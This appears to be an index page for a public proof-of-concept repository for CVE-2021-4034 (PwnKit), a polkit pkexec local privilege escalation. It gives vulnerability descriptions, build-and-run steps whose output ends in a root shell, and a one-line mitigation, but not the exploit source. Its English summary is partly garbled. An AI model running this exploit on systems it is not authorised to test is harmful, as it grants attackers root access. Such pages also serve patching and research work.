CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/Anonymous-Family/CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

Linux system service bug gives root on all major distros, exploit published A vulnerability in the pkexec component of Polkit identified as CVE-2021-4034 PwnKit is present in the default configuration of all major Linux distributions and can be exploited to gain privileges over the compj researchers.

Readme

<h1 align=center>CVE-2021-4034 Exploit</h1>
<p align=center><img src="https://shields.io/badge/Made_With-C-green" />
<img src="https://shields.io/badge/Compiled_With-GCC-yellow" />
  <img src="https://shields.io/badge/Tested_On-Ubuntu_20.04.3_LTS_x86__64 -red" />
</p>

## Usage
```bash
$ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git
$ cd CVE-2021-4034
$ make
[!] CVE-2021-4034 Exploit By whokilleddb
[!] Initializing Setup
[+] Setup Done :D
[!] Setting Root Privileges
[!] Launching Root Shell
# /bin/whoami
root
```
## Rough Patch
```bash
# chmod 0755 `which pkexec`
```

**Note: You can configure the options by playing around with `include/config.h`**

File Snapshot


 [4.0K]  /data/pocs/ef9cbdac0a57f2e3cd8530f03c14387a74c484a6
├── [1.2K]  cve-2021-4034-poc.c
├── [ 327]  Makefile
└── [ 675]  README.md

0 directories, 3 files

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